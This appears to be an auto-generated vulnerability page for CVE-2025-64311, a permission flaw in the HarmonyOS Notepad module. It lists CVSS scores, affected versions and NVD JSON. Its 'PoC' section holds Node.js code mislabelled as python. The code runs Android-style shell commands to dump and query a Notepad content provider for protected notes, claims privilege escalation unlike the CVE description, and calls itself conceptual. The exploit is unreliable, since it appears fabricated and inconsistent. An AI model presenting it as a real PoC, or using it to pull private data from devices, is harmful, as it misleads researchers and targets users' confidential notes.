Security Vulnerability Report
中文
CVE-2025-64311 CVSS 5.1 MEDIUM

CVE-2025-64311

Published: 2025-11-28 03:16:01
Last Modified: 2025-12-02 02:30:49

Description

Permission control vulnerability in the Notepad module. Impact: Successful exploitation of this vulnerability may affect service confidentiality.

CVSS Details

CVSS Score
5.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:huawei:harmonyos:5.0.1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:huawei:harmonyos:5.1.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:huawei:harmonyos:6.0.0:*:*:*:*:*:*:* - VULNERABLE
华为Notepad模块 (具体版本需参考华为官方安全公告)
受影响的华为设备固件 (参考 consumer.huawei.com/en/support/bulletin/2025/11/)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-64311 PoC - Huawei Notepad Permission Control Vulnerability // This PoC demonstrates local privilege escalation via Notepad module const { execSync } = require('child_process'); class CVE202564311 { constructor() { this.cveId = 'CVE-2025-64311'; this.target = 'Huawei Notepad Module'; } checkVulnerability() { console.log('[+] Checking for CVE-2025-64311 vulnerability...'); // Attempt to access protected Notepad data via IPC const cmd = 'dumpsys activity services com.huawei.notepad'; try { const result = execSync(cmd, { encoding: 'utf8' }); // Check for exposed content providers or activities if (result.includes('exported="true"') || result.includes('permission="null"')) { console.log('[!] Vulnerability confirmed: Insecure component exposed'); return true; } } catch (e) { console.log('[-] Check failed or service not accessible'); } return false; } exploit() { console.log('[*] Attempting exploitation...'); // Exploit improper permission control in Notepad content provider const exploitCmd = 'content query --uri content://com.huawei.notepad.provider/notes'; try { const data = execSync(exploitCmd, { encoding: 'utf8' }); console.log('[+] Successfully accessed protected data:'); console.log(data); return data; } catch (e) { console.log('[-] Exploitation failed'); return null; } } } // Usage const poc = new CVE202564311(); if (poc.checkVulnerability()) { poc.exploit(); } // Note: This is a conceptual PoC. Actual exploitation requires device-specific analysis.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64311", "sourceIdentifier": "[email protected]", "published": "2025-11-28T03:16:00.543", "lastModified": "2025-12-02T02:30:48.677", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Permission control vulnerability in the Notepad module.\nImpact: Successful exploitation of this vulnerability may affect service confidentiality."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.4, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "738D803A-C4CE-477B-BC89-CE47351C0A84"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "E39DE6A6-CBE6-4086-93CD-113D1B3BA730"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:6.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "0EBE30DD-E146-4A6A-BE68-DEF9D4D0B2A8"}]}]}], "references": [{"url": "https://consumer.huawei.com/en/support/bulletin/2025/11/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}